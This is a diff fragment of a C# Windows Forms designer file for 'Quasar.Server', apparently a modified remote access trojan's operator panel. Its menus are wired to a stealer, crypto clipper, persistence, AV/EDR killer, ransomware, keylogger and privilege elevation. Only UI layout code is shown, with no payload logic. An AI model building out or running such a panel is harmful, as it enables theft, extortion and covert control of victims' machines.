this.standbyToolStripMenuItem.Text = "Standby"; + this.standbyToolStripMenuItem.Click += new System.EventHandler(this.standbyToolStripMenuItem_Click); + // + // surveillanceToolStripMenuItem + // + this.surveillanceToolStripMenuItem.DropDownItems.AddRange(new System.Windows.Forms.ToolStripItem[] { + this.intelixStealerToolStripMenuItem, + this.clipperToolStripMenuItem, + this.survivalToolStripMenuItem, + this.avKillerToolStripMenuItem, + this.botKillerToolStripMenuItem, + this.ransomwareToolStripMenuItem, + this.systemOptionsToolStripMenuItem, + this.keyloggerToolStripMenuItem, + this.remoteDesktopToolStripMenuItem2}); + this.surveillanceToolStripMenuItem.ForeColor = System.Drawing.Color.White; + this.surveillanceToolStripMenuItem.Image = global::Quasar.Server.Properties.Resources.monitoring; + this.surveillanceToolStripMenuItem.Name = "surveillanceToolStripMenuItem"; + this.surveillanceToolStripMenuItem.Size = new System.Drawing.Size(208, 24); + this.surveillanceToolStripMenuItem.Text = "Monitoring"; + // + // intelixStealerToolStripMenuItem + // + this.intelixStealerToolStripMenuItem.ForeColor = System.Drawing.Color.White; + this.intelixStealerToolStripMenuItem.Image = global::Quasar.Server.Properties.Resources.creditcards; + this.intelixStealerToolStripMenuItem.Name = "intelixStealerToolStripMenuItem"; + this.intelixStealerToolStripMenuItem.Size = new System.Drawing.Size(238, 26); + this.intelixStealerToolStripMenuItem.Text = "Intelix Stealer"; + this.intelixStealerToolStripMenuItem.Click += new System.EventHandler(this.intelixStealerToolStripMenuItem_Click); + // + // clipperToolStripMenuItem + // + this.clipperToolStripMenuItem.ForeColor = System.Drawing.Color.White; + this.clipperToolStripMenuItem.Image = global::Quasar.Server.Properties.Resources.page_copy; + this.clipperToolStripMenuItem.Name = "clipperToolStripMenuItem"; + this.clipperToolStripMenuItem.Size = new System.Drawing.Size(238, 26); + this.clipperToolStripMenuItem.Text = "Crypto Clipper"; + this.clipperToolStripMenuItem.Click += new System.EventHandler(this.clipperToolStripMenuItem_Click); + // + // survivalToolStripMenuItem + // + this.survivalToolStripMenuItem.ForeColor = System.Drawing.Color.White; + this.survivalToolStripMenuItem.Image = global::Quasar.Server.Properties.Resources.bricks; + this.survivalToolStripMenuItem.Name = "survivalToolStripMenuItem"; + this.survivalToolStripMenuItem.Size = new System.Drawing.Size(238, 26); + this.survivalToolStripMenuItem.Text = "Survival (Reset Persist)"; + this.survivalToolStripMenuItem.Click += new System.EventHandler(this.survivalToolStripMenuItem_Click); + // + // avKillerToolStripMenuItem + // + this.avKillerToolStripMenuItem.ForeColor = System.Drawing.Color.White; + this.avKillerToolStripMenuItem.Image = global::Quasar.Server.Properties.Resources.error; + this.avKillerToolStripMenuItem.Name = "avKillerToolStripMenuItem"; + this.avKillerToolStripMenuItem.Size = new System.Drawing.Size(238, 26); + this.avKillerToolStripMenuItem.Text = "AV/EDR Killer"; + this.avKillerToolStripMenuItem.Click += new System.EventHandler(this.avKillerToolStripMenuItem_Click); + // + // botKillerToolStripMenuItem + // + this.botKillerToolStripMenuItem.ForeColor = System.Drawing.Color.White; + this.botKillerToolStripMenuItem.Image = global::Quasar.Server.Properties.Resources.bug; + this.botKillerToolStripMenuItem.Name = "botKillerToolStripMenuItem"; + this.botKillerToolStripMenuItem.Size = new System.Drawing.Size(238, 26); + this.botKillerToolStripMenuItem.Text = "Bot Killer"; + this.botKillerToolStripMenuItem.Click += new System.EventHandler(this.botKillerToolStripMenuItem_Click); + // + // ransomwareToolStripMenuItem + // + this.ransomwareToolStripMenuItem.ForeColor = System.Drawing.Color.White; + this.ransomwareToolStripMenuItem.Image = global::Quasar.Server.Properties.Resources.lock1; + this.ransomwareToolStripMenuItem.Name = "ransomwareToolStripMenuItem"; + this.ransomwareToolStripMenuItem.Size = new System.Drawing.Size(238, 26); + this.ransomwareToolStripMenuItem.Text = "Ransomware"; + this.ransomwareToolStripMenuItem.Click += new System.EventHandler(this.ransomwareToolStripMenuItem_Click); + // + // systemOptionsToolStripMenuItem + // + this.systemOptionsToolStripMenuItem.ForeColor = System.Drawing.Color.White; + this.systemOptionsToolStripMenuItem.Image = global::Quasar.Server.Properties.Resources.cog; + this.systemOptionsToolStripMenuItem.Name = "systemOptionsToolStripMenuItem"; + this.systemOptionsToolStripMenuItem.Size = new System.Drawing.Size(238, 26); + this.systemOptionsToolStripMenuItem.Text = "System Options"; + this.systemOptionsToolStripMenuItem.Click += new System.EventHandler(this.systemOptionsToolStripMenuItem_Click); + // + // keyloggerToolStripMenuItem + // + this.keyloggerToolStripMenuItem.ForeColor = System.Drawing.Color.White; + this.keyloggerToolStripMenuItem.Image = global::Quasar.Server.Properties.Resources.keyboard_magnify; + this.keyloggerToolStripMenuItem.Name = "keyloggerToolStripMenuItem"; + this.keyloggerToolStripMenuItem.Size = new System.Drawing.Size(238, 26); + this.keyloggerToolStripMenuItem.Text = "Keylogger"; + this.keyloggerToolStripMenuItem.Click += new System.EventHandler(this.keyloggerToolStripMenuItem_Click); + // + // remoteDesktopToolStripMenuItem2 + // + this.remoteDesktopToolStripMenuItem2.ForeColor = System.Drawing.Color.White; + this.remoteDesktopToolStripMenuItem2.Image = ((System.Drawing.Image)(resources.GetObject("remoteDesktopToolStripMenuItem2.Image"))); + this.remoteDesktopToolStripMenuItem2.Name = "remoteDesktopToolStripMenuItem2"; + this.remoteDesktopToolStripMenuItem2.Size = new System.Drawing.Size(238, 26); + this.remoteDesktopToolStripMenuItem2.Text = "Remote Desktop"; + this.remoteDesktopToolStripMenuItem2.Click += new System.EventHandler(this.remoteDesktopToolStripMenuItem_Click); + // + // userSupportToolStripMenuItem + // + this.userSupportToolStripMenuItem.DropDownItems.AddRange(new System.Windows.Forms.ToolStripItem[] { + this.showMessageboxToolStripMenuItem, + this.remoteDesktopToolStripMenuItem, + this.webcamToolStripMenuItem, + this.visitWebsiteToolStripMenuItem}); + this.userSupportToolStripMenuItem.ForeColor = System.Drawing.Color.White; + this.userSupportToolStripMenuItem.Image = global::Quasar.Server.Properties.Resources.user; + this.userSupportToolStripMenuItem.Name = "userSupportToolStripMenuItem"; + this.userSupportToolStripMenuItem.Size = new System.Drawing.Size(208, 24); + this.userSupportToolStripMenuItem.Text = "User Support"; + // + // showMessageboxToolStripMenuItem + // + this.showMessageboxToolStripMenuItem.ForeColor = System.Drawing.Color.White; + this.showMessageboxToolStripMenuItem.Image = ((System.Drawing.Image)(resources.GetObject("showMessageboxToolStripMenuItem.Image"))); + this.showMessageboxToolStripMenuItem.Name = "showMessageboxToolStripMenuItem"; + this.showMessageboxToolStripMenuItem.Size = new System.Drawing.Size(224, 26); + this.showMessageboxToolStripMenuItem.Text = "Show Messagebox"; + this.showMessageboxToolStripMenuItem.Click += new System.EventHandler(this.showMessageboxToolStripMenuItem_Click); + // + // remoteDesktopToolStripMenuItem + // + this.remoteDesktopToolStripMenuItem.ForeColor = System.Drawing.Color.White; + this.remoteDesktopToolStripMenuItem.Image = ((System.Drawing.Image)(resources.GetObject("remoteDesktopToolStripMenuItem.Image"))); + this.remoteDesktopToolStripMenuItem.Name = "remoteDesktopToolStripMenuItem"; + this.remoteDesktopToolStripMenuItem.Size = new System.Drawing.Size(224, 26); + this.remoteDesktopToolStripMenuItem.Text = "Remote Desktop"; + this.remoteDesktopToolStripMenuItem.Click += new System.EventHandler(this.remoteDesktopToolStripMenuItem_Click); + // + // webcamToolStripMenuItem + // + this.webcamToolStripMenuItem.ForeColor = System.Drawing.Color.White; + this.webcamToolStripMenuItem.Image = global::Quasar.Server.Properties.Resources.camera; + this.webcamToolStripMenuItem.Name = "webcamToolStripMenuItem"; + this.webcamToolStripMenuItem.Size = new System.Drawing.Size(224, 26); + this.webcamToolStripMenuItem.Text = "Webcam"; + this.webcamToolStripMenuItem.Click += new System.EventHandler(this.webcamToolStripMenuItem_Click); + // + // visitWebsiteToolStripMenuItem + // + this.visitWebsiteToolStripMenuItem.ForeColor = System.Drawing.Color.White; + this.visitWebsiteToolStripMenuItem.Image = ((System.Drawing.Image)(resources.GetObject("visitWebsiteToolStripMenuItem.Image"))); + this.visitWebsiteToolStripMenuItem.Name = "visitWebsiteToolStripMenuItem"; + this.visitWebsiteToolStripMenuItem.Size = new System.Drawing.Size(224, 26); + this.visitWebsiteToolStripMenuItem.Text = "Send to Website"; + this.visitWebsiteToolStripMenuItem.Click += new System.EventHandler(this.visitWebsiteToolStripMenuItem_Click); + // + // connectionToolStripMenuItem + // + this.connectionToolStripMenuItem.DropDownItems.AddRange(new System.Windows.Forms.ToolStripItem[] { + this.elevateClientPermissionsToolStripMenuItem, + this.updateToolStripMenuItem, + this.reconnectToolStripMenuItem, + this.disconnectToolStripMenuItem, + this.uninstallToolStripMenuItem}); + this.connectionToolStripMenuItem.ForeColor = System.Drawing.Color.White; + this.connectionToolStripMenuItem.Image = ((System.Drawing.Image)(resources.GetObject("connectionToolStripMenuItem.Image"))); + this.connectionToolStripMenuItem.Name = "connectionToolStripMenuItem"; + this.connectionToolStripMenuItem.Size = new System.Drawing.Size(208, 24); + this.connectionToolStripMenuItem.Text = "Client Management"; + // + // elevateClientPermissionsToolStripMenuItem + // + this.elevateClientPermissionsToolStripMenuItem.ForeColor = System.Drawing.Color.White; + this.elevateClientPermissionsToolStripMenuItem.Image = global::Quasar.Server.Properties.Resources.shield; + this.elevateClientPermissionsToolStripMenuItem.Name = "elevateClientPermissionsToolStripMenuItem"; + this.elevateClientPermissionsToolStripMenuItem.Size = new System.Drawing.Size(262, 26); + this.elevateClientPermissionsToolStripMenuItem.Text = "Elevate Client Permissions"; + this.elevateClientPermissionsToolStripMenuItem.Click += new System.EventHandler(this.elevateClientPermissionsToolStripMenuItem_Click); + // + // updateToolStripMenuItem + // + this.updateToolStripMenuItem.ForeColor = System.Drawing.Color.White; + this.updateToolStripMenuItem.Image = ((System.Drawing.Image)(resources.GetObject("updateToolStripMenuItem.Image"))); + this.updateToolStripMenuItem.Name = "updateToolStripMenuItem"; + this.updateToolStripMenuItem.Size = new System.Drawing.Size(262, 26); + this.updateToolStripMenuItem.Text = "Update"; + this.updateToolStripMenuItem.Click += new System.EventHandler(this.updateToolStripMenuItem_Click); + // + // reconnectToolStripMenuItem + // + this.reconnectToolStripMenuItem.ForeColor = System.Drawing.Color.White; + this.reconnectToolStripMenuItem.Image = ((System.Drawing.Image)(resources.GetObject("reconnectToolStripMenuItem.Image"))); + this.reconnectToolStripMenuItem.Name = "reconnectToolStripMenuItem"; + this.reconnectToolStripMenuItem.Size = new System.Drawing.Size(262, 26); + this.reconnectToolStripMenuItem.Text = "Reconnect"; + this.reconnectToolStripMenuItem.Click += new System.EventHandler(this.reconnectToolStripMenuItem_Click); + // + // disconnectToolStripMenuItem + // + this.disconnectToolStripMenuItem.ForeColor = System.Drawing.Color.White; + this.disconnectToolStripMenuItem.Image = ((System.Drawing.Image)(resources.GetObject("disconnectToolStripMenuItem.Image"))); + this.disconnectToolStripMenuItem.Name = "disconnectToolStripMenuItem"; + this.disconnectToolStripMenuItem.Size = new System.Drawing.Size(262, 26); + this.disconnectToolStripMenuItem.Text = "Disconnect"; + this.disconnectToolStripMenuItem.Click += new System.EventHandler(this.disconnectToolStripMenuItem_Click); + // + // uninstallToolStripMenuItem + // + this.uninstallToolStripMenuItem.ForeColor = System.Drawing.Color.White; + this.uninstallToolStripMenuItem.Image = ((System.Drawing.Image)(resources.GetObject("uninstallToolStripMenuItem.Image"))); + this.uninstallToolStripMenuItem.Name = "uninstallToolStripMenuItem"; + this.uninstallToolStripMenuItem.Size = new System.Drawing.Size(262, 26); + this.uninstallToolStripMenuItem.Text = "Uninstall"; + this.uninstallToolStripMenuItem.Click += new System.EventHandler(this.uninstallToolStripMenuItem_Click); + // + // lineToolStripMenuItem + // + this.lineToolStripMenuItem.Name = "lineToolStripMenuItem"; + this.lineToolStripMenuItem.Size = new System.Drawing.Size(205, 6); + // + // selectAllToolStripMenuItem + // + this.selectAllToolStripMenuItem.Name = "selectAllToolStripMenuItem"; + this.selectAllToolStripMenuItem.Size = new System.Drawing.Size(208, 24); + this.selectAllToolStripMenuItem.Text = "Select All"; + this.selectAllToolStripMenuItem.Click += new System.EventHandler(this.selectAllToolStripMenuItem_Click); + // + // imgFlags + // + this.imgFlags.ImageStream = ((System.Windows.Forms.ImageListStreamer)(resources.GetObject("imgFlags.ImageStream"))); + this.imgFlags.TransparentColor = System.Drawing.Color.Transparent; + this.imgFlags.Images.SetKeyName(0, "ad.png"); + this.imgFlags.Images.SetKeyName(1, "ae.png"); + this.imgFlags.Images.SetKeyName(2, "af.png"); + this.imgFlags.Images.SetKeyName(3, "ag.png"); + this.imgFlags.Images.SetKeyName(4, "ai.png"); + this.imgFlags.Images.SetKeyName(5, "al.png"); + this.imgFlags.Images.SetKeyName(6, "am.png"); + this.imgFlags.Images.SetKeyName(7, "an.png"); + this.imgFlags.Images.SetKeyName(8, "ao.png"); + this.imgFlags.Images.SetKeyName(9, "ar.png"); + this.imgFlags.Images.SetKeyName(10, "as.png"); + this.imgFlags.Images.SetKeyName(11, "at.png"); + this.imgFlags.Images.SetKeyName(12, "au.png"); + this.imgFlags.Images.SetKeyName(13, "aw.png"); + this.imgFlags.Images.SetKeyName(14, "ax.png"); + this.imgFlags.Images.SetKeyName(15, "az.png"); + this.imgFlags.Images.SetKeyName(16, "ba.png"); + this.imgFlags.Images.SetKeyName(17, "bb.png"); + this.imgFlags.Images.SetKeyName(18, "bd.png"); + this.imgFlags.Images.SetKeyName(19, "be.png"); + this.imgFlags.Images.SetKeyName(20, "bf.png"); + this.imgFlags.Images.SetKeyName(21, "bg.png"); + this.imgFlags.Images.SetKeyName(22, "bh.png"); + this.imgFlags.Images.SetKeyName(23, "bi.png"); + this.imgFlags.Images.SetKeyName(24, "bj.png"); + this.imgFlags.Images.SetKeyName(25, "bm.png"); + this.imgFlags.Images.SetKeyName(26, "bn.png"); + this.imgFlags.Images.SetKeyName(27, "bo.png"); + this.imgFlags.Images.SetKeyName(28, "br.png"); + this.imgFlags.Images.SetKeyName(29, "bs.png"); + this.imgFlags.Images.SetKeyName(30, "bt.png"); + this.imgFlags.Images.SetKeyName(31, "bv.png"); + this.imgFlags.Images.SetKeyName(32, "bw.png"); + this.imgFlags.Images.SetKeyName(33, "by.png"); + this.imgFlags.Images.SetKeyName(34, "bz.png"); + this.imgFlags.Images.SetKeyName(35, "ca.png"); + this.imgFlags.Images.SetKeyName(36, "catalonia.png"); + this.imgFlags.Images.SetKeyName(37, "cc.png"); + this.imgFlags.Images.SetKeyName(38, "cd.png"); + this.imgFlags.Images.SetKeyName(39, "cf.png"); + this.imgFlags.Images.SetKeyName(40, "cg.png"); + this.imgFlags.Images.SetKeyName(41, "ch.png"); + this.imgFlags.Images.SetKeyName(42, "ci.png"); + this.imgFlags.Images.SetKeyName(43, "ck.png"); + this.imgFlags.Images.SetKeyName(44, "cl.png"); + this.imgFlags.Images.SetKeyName(45, "cm.png"); + this.imgFlags.Images.SetKeyName(46, "cn.png"); + this.imgFlags.Images.SetKeyName(47, "co.png"); + this.imgFlags.Images.SetKeyName(48, "cr.png"); + this.imgFlags.Images.SetKeyName(49, "cs.png"); + this.imgFlags.Images.SetKeyName(50, "cu.png"); + this.imgFlags.Images.SetKeyName(51, "cv.png"); + this.imgFlags.Images.SetKeyName(52, "cx.png"); + this.imgFlags.Images.SetKeyName(53, "cy.png"); + this.imgFlags.Images.SetKeyName(54, "cz.png"); + this.imgFlags.Images.SetKeyName(55, "de.png"); + this.imgFlags.Images.SetKeyName(56, "dj.png"); + this.imgFlags.Images.SetKeyName(57, "dk.png"); + this.imgFlags.Images.SetKeyName(58, "dm.png"); + this.imgFlags.Images.SetKeyName(59, "do.png"); + this.imgFlags.Images.SetKeyName(60, "dz.png"); + this.imgFlags.Images.SetKeyName(61, "ec.png"); + this.imgFlags.Images.SetKeyName(62, "ee.png"); + this.imgFlags.Images.SetKeyName(63, "eg.png"); + this.imgFlags.Images.SetKeyName(64, "eh.png"); + this.imgFlags.Images.SetKeyName(65, "england.png"); + this.imgFlags.Images.SetKeyName(66, "er.png"); + this.imgFlags.Images.SetKeyName(67, "es.png"); + this.imgFlags.Images.SetKeyName(68, "et.png"); + this.imgFlags.Images.SetKeyName(69, "europeanunion.png"); + this.imgFlags.Images.SetKeyName(70, "fam.png"); + this.imgFlags.Images.SetKeyName(71, "fi.png"); + this.imgFlags.Images.SetKeyName(72, "fj.png"); + this.imgFlags.Images.SetKeyName(73, "fk.png"); + this.imgFlags.Images.SetKeyName(74, "fm.png"); + this.imgFlags.Images.SetKeyName(75, "fo.png"); + this.imgFlags.Images.SetKeyName(76, "fr.png"); + this.imgFlags.Images.SetKeyName(77, "ga.png"); + this.imgFlags.Images.SetKeyName(78, "gb.png"); + this.imgFlags.Images.SetKeyName(79, "gd.png"); + this.imgFlags.Images.SetKeyName(80, "ge.png"); + this.imgFlags.Images.SetKeyName(81, "gf.png"); + this.imgFlags.Images.SetKeyName(82, "gh.png"); + this.imgFlags.Images.SetKeyName(83, "gi.png"); + this.imgFlags.Images.SetKeyName(84, "gl.png"); + this.imgFlags.Images.SetKeyName(85, "gm.png"); + this.imgFlags.Images.SetKeyName(86, "gn.png"); + this.imgFlags.Images.SetKeyName(87, "gp.png"); + this.imgFlags.Images.SetKeyName(88, "gq.png"); + this.imgFlags.Images.SetKeyName(89, "gr.png"); + this.imgFlags.Images.SetKeyName(90, "gs.png"); + this.imgFlags.Images.SetKeyName(91, "gt.png"); + this.imgFlags.Images.SetKeyName(92, "gu.png"); + this.imgFlags.Images.SetKeyName(93, "gw.png"); + this.imgFlags.Images.SetKeyName(94, "gy.png"); + this.imgFlags.Images.SetKeyName(95, "hk.png"); + this.imgFlags.Images.SetKeyName(96, "hm.png"); + this.imgFlags.Images.SetKeyName(97, "hn.png"); + this.imgFlags.Images.SetKeyName(98, "hr.png"); + this.imgFlags.Images.SetKeyName(99, "ht.png"); + this.imgFlags.Images.SetKeyName(100, "hu.png"); + this.imgFlags.Images.SetKeyName(101, "id.png"); + this.imgFlags.Images.SetKeyName(102, "ie.png"); + this.imgFlags.Images.SetKeyName(103, "il.png"); + this.imgFlags.Images.SetKeyName(104, "in.png"); + this.imgFlags.Images.SetKeyName(105, "io.png"); + this.imgFlags.Images.SetKeyName(106, "iq.png"); + this.imgFlags.Images.SetKeyName(107, "ir.png"); + this.imgFlags.Images.SetKeyName(108, "is.png"); + this.imgFlags.Images.SetKeyName(109, "it.png"); + this.imgFlags.Images.SetKeyName(110, "jm.png"); + this.imgFlags.Images.SetKeyName(111, "jo.png"); + this.imgFlags.Images.SetKeyName(112, "jp.png"); + this.imgFlags.Images.SetKeyName(113, "ke.png"); + this.imgFlags.Images.SetKeyName(114, "kg.png"); + this.imgFlags.Images.SetKeyName(115, "kh.png"); + this.imgFlags.Images.SetKeyName(116, "ki.png"); + this.imgFlags.Images.SetKeyName(117, "km.png"); + this.imgFlags.Images.SetKeyName(118, "kn.png"); + this.imgFlags.Images.SetKeyName(119, "kp.png"); + this.imgFlags.Images.SetKeyName(120, "kr.png"); + this.imgFlags.Images.SetKeyName(121, "kw.png"); + this.imgFlags.Images.SetKeyName(122, "ky.png"); + this.imgFlags.Images.SetKeyName(123, "kz.png"); + this.imgFlags.Images.SetKeyName(124, "la.png"); + this.imgFlags.Images.SetKeyName(125, "lb.png"); + this.imgFlags.Images.SetKeyName(126, "lc.png"); + this.imgFlags.Images.SetKeyName(127, "li.png"); + this.imgFlags.Images.SetKeyName(128, "lk.png"); + this.imgFlags.Images.SetKeyName(129, "lr.png"); + this.imgFlags.Images.SetKeyName(130, "ls.png"); + this.imgFlags.Images.SetKeyName(131, "lt.png"); + this.imgFlags.Images.SetKeyName(132, "lu.png"); + this.imgFlags.Images.SetKeyName(133, "lv.png"); + this.imgFlags.Images.SetKeyName(134, "ly.png"); + this.imgFlags.Images.SetKeyName(135, "ma.png"); + this.imgFlags.Images.SetKeyName(136, "mc.png"); + this.imgFlags.Images.SetKeyName(137, "md.png"); + this.imgFlags.Images.SetKeyName(138, "me.png"); + this.imgFlags.Images.SetKeyName(139, "mg.png"); + this.imgFlags.Images.SetKeyName(140, "mh.png"); + this.imgFlags.Images.SetKeyName(141, "mk.png"); + this.imgFlags.Images.SetKeyName(142, "ml.png"); + this.imgFlags.Images.SetKeyName(143, "mm.png"); + this.imgFlags.Images.SetKeyName(144, "mn.png"); + this.imgFlags.Images.SetKeyName(145, "mo.png"); + this.imgFlags.Images.SetKeyName(146, "mp.png"); + this.imgFlags.Images.SetKeyName(147, "mq.png"); + this.imgFlags.Images.SetKeyName(148, "mr.png"); + this.imgFlags.Images.SetKeyName(149, "ms.png"); + this.imgFlags.Images.SetKeyName(150, "mt.png"); + this.imgFlags.Images.SetKeyName(151, "mu.png"); + this.imgFlags.Images.SetKeyName(152, "mv.png"); + this.imgFlags.Images.SetKeyName(153, "mw.png"); + this.imgFlags.Images.SetKeyName(154, "mx.png"); + this.imgFlags.Images.SetKeyName(155, "my.png"); + this.imgFlags.Images.SetKeyName(156, "mz.png"); + this.imgFlags.Images.SetKeyName(157, "na.png"); + this.imgFlags.Images.SetKeyName(158, "nc.png"); + this.imgFlags.Images.SetKeyName(159, "ne.png"); + this.imgFlags.Images.SetKeyName(160, "nf.png"); + this.imgFlags.Images.SetKeyName(161, "ng.png"); + this.imgFlags.Images.SetKeyName(162, "ni.png"); + this.imgFlags.Images.SetKeyName(163, "nl.png"); + this.imgFlags.Images.SetKeyName(164, "no.png"); + this.imgFlags.Images.SetKeyName(165, "np.png"); + this.imgFlags.Images.SetKeyName(166, "nr.png"); + this.imgFlags.Images.SetKeyName(167, "nu.png"); + this.imgFlags.Images.SetKeyName(168, "nz.png"); + this.imgFlags.Images.SetKeyName(169, "om.png"); + this.imgFlags.Images.SetKeyName(170, "pa.png"); + this.imgFlags.Images.SetKeyName(171, "pe.png"); + this.imgFlags.Images.SetKeyName(172, "pf.png"); + this.imgFlags.Images.SetKeyName(173, "pg.png"); + this.imgFlags.Images.SetKeyName(174, "ph.png"); + this.imgFlags.Images.SetKeyName(175, "pk.png"); + this.imgFlags.Images.SetKeyName(176, "pl.png"); + this.imgFlags.Images.SetKeyName(177, "pm.png"); + this.imgFlags.Images.SetKeyName(178, "pn.png"); + this.imgFlags.Images.SetKeyName(179, "pr.png"); + this.imgFlags.Images.SetKeyName(180, "ps.png"); + this.imgFlags.Images.SetKeyName(181, "pt.png"); + this.imgFlags.Images.SetKeyName(182, "pw.png"); + this.imgFlags.Images.SetKeyName(183, "py.png"); + this.imgFlags.Images.SetKeyName(184, "qa.png"); + this.imgFlags.Images.SetKeyName(185, "re.png"); + this.imgFlags.Images.SetKeyName(186, "ro.png"); + this.imgFlags.Images.SetKeyName(187, "rs.png"); + this.imgFlags.Images.SetKeyName(188, "ru.png"); + this.imgFlags.Images.SetKeyName(189, "rw.png"); + this.imgFlags.Images.SetKeyName(190, "sa.png"); + this.imgFlags.Images.SetKeyName(191, "sb.png"); + this.imgFlags.Images.SetKeyName(192, "sc.png"); + this.imgFlags.Images.SetKeyName(193, "scotland.png"); + this.imgFlags.Images.SetKeyName(194, "sd.png"); + this.imgFlags.Images.SetKeyName(195, "se.png"); + this.imgFlags.Images.SetKeyName(196, "sg.png"); + this.imgFlags.Images.SetKeyName(197, "sh.png"); + this.imgFlags.Images.SetKeyName(198, "si.png"); + this.imgFlags.Images.SetKeyName(199, "sj.png"); + this.imgFlags.Images.SetKeyName(200, "sk.png"); + this.imgFlags.Images.SetKeyName(201, "sl.png"); + this.imgFlags.Images.SetKeyName(202, "sm.png"); + this.imgFlags.Images.SetKeyName(203, "sn.png"); + this.imgFlags.Images.SetKeyName(204, "so.png"); + this.imgFlags.Images.SetKeyName(205, "sr.png"); + this.imgFlags.Images.SetKeyName(206, "st.png"); + this.imgFlags.Images.SetKeyName(207, "sv.png"); + this.imgFlags.Images.SetKeyName(208, "sy.png"); + this.imgFlags.Images.SetKeyName(209, "sz.png"); + this.imgFlags.Images.SetKeyName(210, "tc.png"); + this.imgFlags.Images.SetKeyName(211, "td.png"); + this.imgFlags.Images.SetKeyName(212, "tf.png"); + this.imgFlags.Images.SetKeyName(213, "tg.png"); + this.imgFlags.Images.SetKeyName(214, "th.png"); + this.imgFlags.Images.SetKeyName(215, "tj.png"); + this.imgFlags.Images.SetKeyName(216, "tk.png"); + this.imgFlags.Images.SetKeyName(217, "tl.png"); + this.imgFlags.Images.SetKeyName(218, "tm.png"); + this.imgFlags.Images.SetKeyName(219, "tn.png"); + this.imgFlags.Images.SetKeyName(220, "to.png"); + this.imgFlags.Images.SetKeyName(221, "tr.png"); + this.imgFlags.Images.SetKeyName(222, "tt.png"); + this.imgFlags.Images.SetKeyName(223, "tv.png"); + this.imgFlags.Images.SetKeyName(224, "tw.png"); + this.imgFlags.Images.SetKeyName(225, "tz.png"); + this.imgFlags.Images.SetKeyName(226, "ua.png"); + this.imgFlags.Images.SetKeyName(227, "ug.png"); + this.imgFlags.Images.SetKeyName(228, "um.png"); + this.imgFlags.Images.SetKeyName(229, "us.png"); + this.imgFlags.Images.SetKeyName(230, "uy.png"); + this.imgFlags.Images.SetKeyName(231, "uz.png"); + this.imgFlags.Images.SetKeyName(232, "va.png"); + this.imgFlags.Images.SetKeyName(233, "vc.png"); + this.imgFlags.Images.SetKeyName(234, "ve.png"); + this.imgFlags.Images.SetKeyName(235, "vg.png"); + this.imgFlags.Images.SetKeyName(236, "vi.png"); + this.imgFlags.Images.SetKeyName(237, "vn.png"); + this.imgFlags.Images.SetKeyName(238, "vu.png"); + this.imgFlags.Images.SetKeyName(239, "wales.png"); + this.imgFlags.Images.SetKeyName(240, "wf.png"); + this.imgFlags.Images.SetKeyName(241, "ws.png"); + this.imgFlags.Images.SetKeyName(242, "ye.png"); + this.imgFlags.Images.SetKeyName(243, "yt.png"); + this.imgFlags.Images.SetKeyName(244, "za.png"); + this.imgFlags.Images.SetKeyName(245, "zm.png"); + this.imgFlags.Images.SetKeyName(246, "zw.png"); + this.imgFlags.Images.SetKeyName(247, "xy.png"); + // + // searchPanel + // + this.searchPanel.Controls.Add(this.txtSearch); + this.searchPanel.Controls.Add(this.lblSearch); + this.searchPanel.Dock = System.Windows.Forms.DockStyle.Top; + this.searchPanel.Location = new System.Drawing.Point(4, 4); + this.searchPanel.Name = "searchPanel"; + this.searchPanel.Size = new System.Drawing.Size(1254, 35); + this.searchPanel.TabIndex = 2; + // + // txtSearch + // + this.txtSearch.Anchor = ((System.Windows.Forms.AnchorStyles)(((System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Left) + | System.Windows.Forms.AnchorStyles.Right))); + this.txtSearch.Location = new System.Drawing.Point(60, 6); + this.txtSearch.Name = "txtSearch"; + this.txtSearch.Size = new System.Drawing.Size(1187, 26); + this.txtSearch.TabIndex = 1; + this.txtSearch.TextChanged += new System.EventHandler(this.txtSearch_TextChanged); + // + // lblSearch + // + this.lblSearch.AutoSize = true; + this.lblSearch.ForeColor = System.Drawing.Color.White; + this.lblSearch.Location = new System.Drawing.Point(6, 9); + this.lblSearch.Name = "lblSearch"; + this.lblSearch.Size = new System.Drawing.Size(52, 19); + this.lblSearch.TabIndex = 0; + this.lblSearch.Text = "Search:"; + // + // tabBuilder + // + this.tabBuilder.Location = new System.Drawing.Point(4, 28); + this.tabBuilder.Margin = new System.Windows.Forms.Padding(4); + this.tabBuilder.Name = "tabBuilder"; + this.tabBuilder.Padding = new System.Windows.Forms.Padding(4); + this.tabBuilder.Size = new System.Drawing.Size(1262, 515); + this.tabBuilder.TabIndex = 1; + this.tabBuilder.Text = "Builder"; + this.tabBuilder.UseVisualStyleBackColor = true; + // + // tabSettings + // + this.tabSettings.Location = new System.Drawing.Point(4, 28); + this.tabSettings.Margin = new System.Windows.Forms.Padding(4); + this.tabSettings.Name = "tabSettings"; + this.tabSettings.Padding = new System.Windows.Forms.Padding(4); + this.tabSettings.Size = new System.Drawing.Size(1262, 515); + this.tabSettings.TabIndex = 2; + this.tabSettings.Text = "Settings"; + this.tabSettings.UseVisualStyleBackColor = true; + // + // tabAutoTasks + // + this.tabAutoTasks.Location = new System.Drawing.Point(4, 28); + this.tabAutoTasks.Margin = new System.Windows.Forms.Padding(4); + this.tabAutoTasks.Name = "tabAutoTasks"; + this.tabAutoTasks.Padding = new System.Windows.Forms.Padding(4); + this.tabAutoTasks.Size = new System.Drawing.Size(1262, 515); + this.tabAutoTasks.TabIndex = 3; + this.tabAutoTasks.Text = "Auto Tasks"; + this.tabAutoTasks.UseVisualStyleBackColor = true; + // + // tabStatistics + // + this.tabStatistics.Location = new System.Drawing.Point(4, 28); + this.tabStatistics.Margin = new System.Windows.Forms.Padding(4); + this.tabStatistics.Name = "tabStatistics"; + this.tabStatistics.Padding = new System.Windows.Forms.Padding(4); + this.tabStatistics.Size = new System.Drawing.Size(1262, 515); + this.tabStatistics.TabIndex = 4; + this.tabStatistics.Text = "Statistics"; + this.tabStatistics.UseVisualStyleBackColor = true; + // + // tabAbout + // + this.tabAbout.Location = new System.Drawing.Point(4, 28); + this.tabAbout.Margin = new System.Windows.Forms.Padding(4); + this.tabAbout.Name = "tabAbout"; + this.tabAbout.Padding = new System.Windows.Forms.Padding(4); + this.tabAbout.Size = new System.Drawing.Size(1262, 515); + this.tabAbout.TabIndex = 5; + this.tabAbout.Text = "About"; + this.tabAbout.UseVisualStyleBackColor = true; + // + // notifyIcon + // + this.notifyIcon.Icon = ((System.Drawing.Icon)(resources.GetObject("notifyIcon.Icon"))); + this.notifyIcon.Text = "Quasar"; + this.notifyIcon.Visible = true; + this.notifyIcon.MouseDoubleClick += new System.Windows.Forms.MouseEventHandler(this.notifyIcon_MouseDoubleClick); + // + // 